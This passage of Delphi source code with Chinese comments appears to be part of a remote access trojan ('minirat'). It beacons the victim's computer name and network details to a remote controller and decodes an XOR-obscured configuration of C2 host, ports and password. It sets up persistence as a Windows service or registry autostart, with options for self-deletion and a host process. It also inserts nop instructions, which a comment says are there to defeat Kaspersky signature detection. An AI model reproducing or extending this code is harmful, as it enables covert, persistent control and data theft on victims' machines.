    begin
//      SendData('01 ' + password + #10);
      SendData('02 ' + version + #10);
      SendData('03 ' + getnet + #10);
      SendData('20 ' + ComputerName + #10);
      rSocket.Sock := Sock;
      ReceiveData(@rSocket);
    end;
    Sleep(30000);
    LastDir := '';
  until (Close);
  WSACleanUP();
end;
procedure ReadFileStr(dName: string; var Content: string);
var
  FContents: file of Char;
  FBuffer: array[1..1024] of Char;
  rLen: LongInt;
  FSize: LongInt;
begin
  try
    Content := '';
    AssignFile(FContents, dName); // 访问正在使用的 文本文件
    Reset(FContents);
    FSize := FileSize(FContents);
    while not EOF(FContents) do
    begin
      BlockRead(FContents, FBuffer, 1024, rLen); // 读记录
      Content := Content + string(FBuffer);
    end;
    CloseFile(FContents);
    if Length(Content) > FSize then
      Content := Copy(Content, 1, FSize);
  except
    Exit;
  end;
end;
//间单加密一下－－－－－－－－－－－－－－
function EncryptText(Text: string): string;
var
  I: Word;
  C: Word;
begin
  Result := '';
  for I := 1 to Length(Text) do
  begin
    C := Ord(Text[I]);
    Result := Result + Chr((C xor 12));
  end;
end;
//读取所有配置信息 －－－－－－－－－－－－－－
procedure ReadSettings;
var
  I: Word;
  Settings: string;
  FileContent: string;
  NewFileName: string;
begin
//  NewFileName := ParamStr(0) + '_'; //生成文件名
//  CopyFile(pChar(ParamStr(0)), pChar(NewFileName), False); //复制
  ReadFileStr(ConFile, FileContent);
  I := Length(FileContent);
  Settings := '';
  while (I > 0) and (FileContent[i] <> #00) do
  begin
    Settings := FileContent[i] + Settings;
    Dec(I);
  end;
  if (Settings = '') then
  begin
    DeleteFile(pChar(NewFileName));
    Uninstall;
  end;
  Settings := EncryptText(Settings);
  pz^.Urlhttp := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //x
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dConType := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); ////连接类型; 0:主动连接，1:被动连接
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dDnsHost := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //100
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dLocalPort := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //被动连接端口
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dRemotePort := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //主动连接端口
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dPass := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //连接客码
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dGroup := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //上线组
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dRunAsSrv := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //以服务运行  1:以服务运行，2:注册自动启动
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dInsPath := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //安装路      0:<window> 1:<system> 2<templete>
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dInsFileName := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //安装文件名称
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dIsAutoDelMe := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //是否自己删除自己 0:不删除 1:删除自己
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dSrvView := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //服务说明
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dSrvName := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //服务名称
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dSrvText := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //服务描述
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dMainThread := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //Start.exe线程ID
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  strcopy(pz^.dhostProcess,PChar(Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))))); //缩主进程名
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
 strcopy(pz^.dDllFile,PChar(Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))))); //缩主进程名
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dRegLM := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //注册在HKEY_LOCAL_MACHINE
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dRegCU := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //注册在HKEY_CURRENT_USER
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
  pz^.dRegSH := Copy(Settings, 3, StrToInt(Copy(Settings, 1, 2))); //注册为Shell Explorer
    Delete(Settings, 1, StrToInt(Copy(Settings, 1, 2)) + 2);
//  DeleteFile(pChar(NewFileName));
end;
//获取系统目录 --------------------
function GetDirectory(dInt: Integer): string;
var
  S: array[0..255] of Char;
begin
  case dInt of
    0: GetWindowsDirectory(@S, 256);
    1: GetSystemDirectory(@S, 256);
  end;
  Result := string(S) + '';
end;
procedure miniratMain;stdcall;
begin
  asm   //改成卡吧不能特征码
    nop
    nop
  end;
  Serv := TServer.Create;
  while not (InternetGetConnectedState(nil, 0)) do
    Sleep(5000);
  if PieZhi.dConType='0' then   //0:被动连接 1:主动连接
  begin
    Serv.Port := StrToInt(PieZhi.dLocalPort);
    Serv.Listen;
  end
  else
    Serv.Connect;
end;
end.

						